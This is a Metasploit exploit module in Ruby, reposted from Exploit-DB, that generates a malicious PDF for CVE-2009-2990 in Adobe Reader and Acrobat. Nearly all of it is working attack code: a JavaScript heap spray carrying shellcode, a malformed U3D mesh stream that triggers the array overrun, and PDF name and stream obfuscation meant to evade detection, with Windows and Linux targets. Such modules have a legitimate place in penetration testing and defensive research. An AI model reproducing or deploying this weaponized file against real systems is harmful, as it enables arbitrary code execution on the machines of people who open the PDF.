Adobe – U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (1)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16309/
  • ##
    # $Id: adobe_u3d_meshcont.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'zlib'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::FILEFORMAT
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
    			'Description'=> %q{
    					This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
    				Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
    				specially crafted pdf that a contains malformed U3D data, an attacker may
    				be able to execute arbitrary code.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
    					'jduck'
    				],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					[ 'CVE', '2009-2990' ],
    					[ 'OSVDB', '58920' ],
    					[ 'BID', '36665' ],
    					[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
    					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00",
    					'DisableNops'	 => true
    				},
    			'Targets'=>
    				[
    					# test results (on Windows XP SP3)
    					# reader 7.0.5 - untested
    					# reader 7.0.8 - untested
    					# reader 7.0.9 - untested
    					# reader 7.1.0 - untested
    					# reader 7.1.1 - untested
    					# reader 8.0.0 - untested
    					# reader 8.1.2 - works
    					# reader 8.1.3 - works
    					# reader 8.1.4 - untested
    					# reader 8.1.5 - untested
    					# reader 8.1.6 - untested
    					# reader 9.0.0 - untested
    					# reader 9.1.0 - works
    					[ 'Adobe Reader Windows Universal (JS Heap Spray)',
    						{
    							'Index'		=> 0x01d10000,
    							'Platform'	=> 'win',
    							'Arch'		=> ARCH_X86,
    							'escA'		=> 0x0f0f0f0f,
    							'escB'		=> 0x16161616,
    							'escC'		=> 0x1c1c1c1c
    						}
    					],
    
    					# untested
    					[ 'Adobe Reader Linux Universal (JS Heap Spray)',
    						{
    							'Index'		=> 0xfffffe3c,
    							'Platform'	=> 'linux',
    							'Arch'		=> ARCH_X86,
    							'escA'		=> 0x75797959,
    							'escB'		=> 0xa2a2a2a2,
    							'escC'		=> 0x9c9c9c9c
    						}
    					]
    				],
    			'DisclosureDate' => 'Oct 13 2009',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
    			], self.class)
    
    	end
    
    
    
    	def exploit
    		# Encode the shellcode.
    		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    
    		# Make some nops
    		nops= Rex::Text.to_unescape(make_nops(4))
    
    		# prepare the pointers!
    		ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
    		ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
    		ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
    
    		script = <<-EOF
    var nopz = unescape("#{nops}");
    function mkSlice(stringy,size,rest){
    	while (stringy.length <= size/2)
    		stringy += stringy;
    	stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
    	return stringy;
    };
    
    function spray(escA,escB,escC,escShellcode){
    	var loop1;
    	var pointersA = unescape(escA);
    	var pointersB = unescape(escB);
    	var pointersC = unescape(escC);
    	var shellcode = unescape(escShellcode);
    
    	pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
    	pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
    	pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
    	nop_slide = mkSlice(nopz,0x100000, shellcode.length);
    	var xarr = new Array();
    	for (loop1 = 0; loop1 < 400; loop1++) {
    		if(loop1<100)
    			xarr[loop1] = pointersA_slide+pointersA;
    		else if(loop1<200)
    			xarr[loop1] = pointersB_slide+pointersB;
    		else if(loop1<300)
    			xarr[loop1] = pointersC_slide+pointersC;
    		else
    			xarr[loop1] = nop_slide+shellcode;
    		}
    		return xarr;
    	};
    	var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
    	this.pageNum = 1;
    EOF
    
    		# Obfuscate it up a bit
    		script = obfuscate_js(script,
    			'Symbols' => {
    				'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
    				'Methods' => %W{ mkSlice spray }
    			}).to_s
    
    		# create the u3d stuff
    		u3d = make_u3d_stream(target['Index'], "E" * 11)
    
    		# Create the pdf
    		pdf = make_pdf(script, u3d)
    
    		print_status("Creating '#{datastore['FILENAME']}' file...")
    
    		file_create(pdf)
    	end
    
    
    	def obfuscate_js(javascript, opts)
    		js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
    		js.obfuscate
    		return js
    	end
    
    
    	def RandomNonASCIIString(count)
    		result = ""
    		count.times do
    			result << (rand(128) + 128).chr
    		end
    		result
    	end
    
    	def ioDef(id)
    		"%d 0 obj\n" % id
    	end
    
    	def ioRef(id)
    		"%d 0 R" % id
    	end
    
    	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    	def nObfu(str)
    
    		result = ""
    		str.scan(/./u) do |c|
    			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    				result << "#%x" % c.unpack("C*")[0]
    			else
    				result << c
    			end
    		end
    		result
    	end
    
    	def ASCIIHexWhitespaceEncode(str)
    		result = ""
    		whitespace = ""
    		str.each_byte do |b|
    			result << whitespace << "%02x" % b
    			whitespace = " " * (rand(3) + 1)
    		end
    		result << ">"
    	end
    
    
    	def u3d_pad(str, char="\x00")
    		ret = ""
    		if (str.length % 4) > 0
    			ret << char * (4 - (str.length % 4))
    		end
    		return ret
    	end
    
    
    	def make_u3d_stream(index, meshname)
    
    		# build the U3D header (length will be patched in later)
    		hdr_data = [1,0].pack('n*') # version info
    		hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
    		hdr = "U3D\x00"
    		hdr << [hdr_data.length,0].pack('VV')
    		hdr << hdr_data
    
    		# mesh declaration
    		decl_data = [meshname.length].pack('v')
    		decl_data << meshname
    		decl_data << [0].pack('V') # chain idx
    		# max mesh desc
    		decl_data << [0].pack('V') # mesh attrs
    		decl_data << [0xc322].pack('V') # face count
    		decl_data << [0x6226].pack('V') # position count
    		decl_data << [0x24966].pack('V') # normal count
    		decl_data << [0].pack('V') # diffuse color count
    		decl_data << [0].pack('V') # specular color count
    		decl_data << [0].pack('V') # texture coord count
    		decl_data << [1].pack('V') # shading count
    		# shading desc
    		decl_data << [0].pack('V') # shading attr
    		decl_data << [1].pack('V') # texture layer count
    		decl_data << [0].pack('V') # texture coord dimensions
    		decl_data << [0].pack('V') # original shading id
    		# minimum resolution
    		decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
    		# quality factors
    		decl_data << [0x12c].pack('V') # position quality factor
    		decl_data << [0x12c].pack('V') # normal quality factor
    		decl_data << [0x12c].pack('V') # texture coord quality factor
    		# inverse quantiziation
    		decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
    		decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
    		decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
    		decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
    		decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
    		# resource params
    		decl_data << [0x3f666666].pack('V') # normal crease param
    		decl_data << [0x3f000000].pack('V') # normal update param
    		decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
    		# skeleton description
    		decl_data << [0].pack('V') # bone count
    		# padding
    		mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
    		mesh_decl << decl_data
    		mesh_decl << u3d_pad(decl_data)
    
    		# build the modifier chain
    		chain_data = [meshname.length].pack('v')
    		chain_data << meshname
    		chain_data << [1].pack('V') # type (model resource)
    		chain_data << [0].pack('V') # attributes (no bounding info)
    		chain_data << u3d_pad(chain_data)
    		chain_data << [1].pack('V') # number of modifiers
    		chain_data << mesh_decl
    		modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
    		modifier_chain << chain_data
    
    		# mesh continuation
    		cont_data = [meshname.length].pack('v')
    		cont_data << meshname
    		cont_data << [0].pack('V') # chain idx
    		cont_data << [0].pack('V') # start resolution
    		cont_data << [0x1000].pack('V') # end resolution
    		# 4096 continuation blocks
    		cont_data << [index].pack('V') # split position index
    		cont_data << [0].pack('v') # new diffuse color count
    		cont_data << [0].pack('v') # new specular color count
    		cont_data << [0].pack('v') # new text coord count
    		cont_data << [0].pack('V') # new face count
    		# unknown data
    		cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
    		cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
    		cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
    		cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
    		cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
    		cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
    		cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
    		cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
    		cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
    		cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
    		cont_data << "\xe9\x10\x9d\x6b\x06\x00"
    		cont_data << "\x50" # pad
    		mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
    		mesh_cont << cont_data
    		#mesh_cont << u3d_pad(cont_data)
    		mesh_cont << "\xa2\x00" # manual padding
    
    		data = hdr
    		data << modifier_chain
    		data << mesh_cont
    
    		# patch the length
    		data[24,4] = [0x2b680].pack('V') # hardcode the data length
    
    		if index == 0x01d10000
    			#laziest hack ever! Another index must be found for using the following
    			# stream in windows.. and a lot of tests shoul be done.
    			return data
    		end
    
    
    		# linux version
    		# build the U3D header (length will be patched in later)
    		hdr_data = [1,0].pack('n*') # version info
    		hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
    		meta_str1 = "alalala0"
    		meta_str2 = "\xa8" * 1024
    		hdr_meta = [1].pack('V')
    		hdr_meta << [meta_str1.length].pack('v')
    		hdr_meta << meta_str1
    		hdr_meta << [1].pack('V')
    		hdr_meta << [meta_str2.length].pack('V')
    		hdr_meta << meta_str2
    		hdr = "U3D\x00"
    		hdr << [hdr_data.length,hdr_meta.length].pack('VV')
    		hdr << hdr_data
    		hdr << hdr_meta
    		hdr << u3d_pad(hdr_meta)
    
    		# mesh declaration
    		decl_data = [meshname.length].pack('v')
    		decl_data << meshname
    		decl_data << [0].pack('V') # chain idx
    		# max mesh desc
    		decl_data << [0].pack('V') # mesh attrs
    		decl_data << [0xc322].pack('V') # face count
    		decl_data << [0x6626].pack('V') # position count
    		decl_data << [4].pack('V') # normal count
    		decl_data << [0].pack('V') # diffuse color count
    		decl_data << [0].pack('V') # specular color count
    		decl_data << [0].pack('V') # texture coord count
    		decl_data << [1].pack('V') # shading count
    		# shading desc
    		decl_data << [0].pack('V') # shading attr
    		decl_data << [0].pack('V') # texture layer count
    		decl_data << [0].pack('V') # original shading id
    		# no texture coord dimensions
    		decl_data << [0x64].pack('V') # minimum resolution
    		decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
    		# quality factors
    		decl_data << [0x12c].pack('V') # position quality factor
    		decl_data << [0x12c].pack('V') # normal quality factor
    		decl_data << [0x12c].pack('V') # texture coord quality factor
    		# inverse quantiziation
    		decl_data << [0].pack('V') # position inverse quant
    		decl_data << [0].pack('V') # normal inverse quant
    		decl_data << [0].pack('V') # texture coord inverse quant
    		decl_data << [0].pack('V') # diffuse color inverse quant
    		decl_data << [0].pack('V') # specular color inverse quant
    		# resource params
    		decl_data << [0].pack('V') # normal crease param
    		decl_data << [0].pack('V') # normal update param
    		decl_data << [0].pack('V') # normal tolerance param
    		# skeleton description
    		decl_data << [0].pack('V') # bone count
    		# padding
    		mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
    		mesh_decl << decl_data
    		mesh_decl << u3d_pad(decl_data)
    
    		# build the modifier chain
    		chain_data = [meshname.length].pack('v')
    		chain_data << meshname
    		chain_data << [1].pack('V') # type (model resource)
    		chain_data << [0].pack('V') # attributes (no bounding info)
    		chain_data << u3d_pad(chain_data)
    		chain_data << [1].pack('V') # number of modifiers
    		chain_data << mesh_decl
    		modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
    		modifier_chain << chain_data
    
    		# mesh continuation
    		cont_data = [meshname.length].pack('v')
    		cont_data << meshname
    		cont_data << [0].pack('V') # chain idx
    		cont_data << [0].pack('V') # start resolution
    		cont_data << [0x100].pack('V') # end resolution
    		# 256 continuation blocks
    		cont_data << [index].pack('V') # split position index
    		# unknown data
    		cont_data << [1].pack('V') * 10
    		cont_data << "Feli" * 20
    		mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
    		mesh_cont << cont_data
    		mesh_cont << u3d_pad(cont_data)
    
    		data = hdr
    		data << modifier_chain
    		data << mesh_cont
    
    		# patch the length
    		data[24,4] = [0x174].pack('V') # hardcode the data length
    		return data
    
    	end
    
    	def make_pdf(js, u3d_stream)
    
    		xref = []
    		eol = "\x0a"
    		obj_end = "" << eol << "endobj" << eol
    
    		# the header
    		pdf = "%PDF-1.7" << eol
    
    		# filename/comment
    		pdf << "%" << RandomNonASCIIString(4) << eol
    
    		# js stream
    		xref << pdf.length
    		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
    		pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    		pdf << "stream" << eol
    		pdf << compressed << eol
    		pdf << "endstream" << eol
    		pdf << obj_end
    
    		# catalog
    		xref << pdf.length
    		pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
    		pdf << nObfu("/Pages ") << ioRef(5)
    		pdf << nObfu("/OpenAction ") << ioRef(8)
    		pdf << nObfu(">>")
    		pdf << obj_end
    
    		# outline
    		xref << pdf.length
    		pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
    		pdf << obj_end
    
    		# kids
    		xref << pdf.length
    		pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
    		pdf << ioRef(9) << " " # empty page
    		pdf << ioRef(10) # u3d page
    		pdf << nObfu("]>>")
    		pdf << obj_end
    
    		# u3d stream
    		xref << pdf.length
    		pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
    		pdf << "stream" << eol
    		pdf << u3d_stream << eol
    		pdf << "endstream"
    		pdf << obj_end
    
    		# u3d annotation object
    		xref << pdf.length
    		pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
    		pdf << "/3D/3DA <</A/PO/DIS/I>>"
    		pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
    		pdf << obj_end
    
    		# js dict
    		xref << pdf.length
    		pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
    
    		# page 0 (empty)
    		xref << pdf.length
    		pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
    		pdf << nObfu(" >>")
    		pdf << obj_end
    
    		# page 1 (u3d)
    		xref << pdf.length
    		pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
    		pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
    		pdf << nObfu(">>")
    		pdf << obj_end
    
    		# xrefs
    		xrefPosition = pdf.length
    		pdf << "xref" << eol
    		pdf << "0 %d" % (xref.length + 1) << eol
    		pdf << "0000000000 65535 f" << eol
    		xref.each do |index|
    			pdf << "%010d 00000 n" % index << eol
    		end
    
    		# trailer
    		pdf << "trailer" << eol
    		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
    		pdf << "startxref" << eol
    		pdf << xrefPosition.to_s() << eol
    		pdf << "%%EOF" << eol
    
    	end
    
    end